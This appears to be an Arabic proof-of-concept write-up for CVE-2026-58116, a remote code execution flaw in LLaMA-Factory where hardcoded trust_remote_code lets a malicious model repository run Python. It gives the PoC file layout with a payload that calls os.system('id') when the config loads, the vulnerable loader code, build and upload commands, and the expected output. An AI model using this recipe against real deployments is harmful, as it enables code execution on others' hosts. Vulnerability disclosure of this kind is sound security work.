
trust_remote_codeإثبات المفهوم لثغرة CVE-2026-58116 (بدرجة خطورة CVSS 9.8 حرجة): تنفيذ الأوامر عن بُعد
في LLaMA-Factory <= v0.9.5.
تُثبّت واجهة LLaMA-Factory قيمة trust_remote_code=True بشكل ثابت في الكود عند تحميل النموذج
(src/llamafactory/webui/chatter.py:139 و runner.py:175,320). يمر الحقل «Model path»
الذي يتحكم به المهاجم دون أي تحقّق من صحته إلى AutoTokenizer.from_pretrained() /
AutoModel.from_pretrained()، لذا تقوم مكتبة transformers من Hugging Face بتنزيل
وتنفيذ كود Python عشوائي من مستودع نماذج خبيث.
هذا الإثبات (PoC) مخصص للاختبارات الأمنية المصرَّح بها والأغراض التعليمية فقط. الحمولة المرفقة
غير ضارة عمدًا (تقوم بطباعة استطلاع المضيف عبر id). لا تشغّلها إلا على أنظمة تملكها أو
مصرَّح لك باختبارها. لا تنشر أبدًا حمولة خبيثة على أي بنية تحتية دون إذن صريح.
.
├── poc-model/
│ ├── config.json # declares auto_map → attacker modules
│ ├── configuration_poc.py # payload: runs os.system("id ...") at config load
│ ├── modeling_poc.py # minimal stub model class
│ └── __init__.py # makes it an importable package
└── build_and_verify.py # assemble + verify the sink in isolation
تُنشئ مكتبة transformers مثيلًا من كلاس الإعدادات قبل تحميل أي أوزان، لذا يتم تشغيل
الحمولة في PoCConfig.__init__ فور قراءة الإعدادات — دون الحاجة إلى وجود أي أوزان. وهذا
هو بالضبط المسار الذي تصل إليه LLaMA-Factory عبر src/llamafactory/model/loader.py:
def _get_init_kwargs(model_args):
return {"trust_remote_code": model_args.trust_remote_code, ...} # True (hardcoded)
def load_tokenizer(model_args):
init_kwargs = _get_init_kwargs(model_args)
tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)
تحقق من نقطة الاستغلال محليًا (لا حاجة إلى واجهة WebUI — يُثبت العقد الذي تنتهكه الواجهة):
pip install transformers torch
python3 build_and_verify.py
المخرجات المتوقعة — لاحظ أن لافتة الحمولة تظهر أثناء تحميل الإعدادات:
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
time : 2026-07-02T...
host : gpu-host-01
user : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)
اختبار متكامل عبر واجهة LLaMA-Factory قيد التشغيل:
huggingface-cli login
python3 build_and_verify.py --upload your-user/llmfcty-poc
llamafactory-cli webuiyour-user/llmfcty-poc، ثم انقر على Load Model.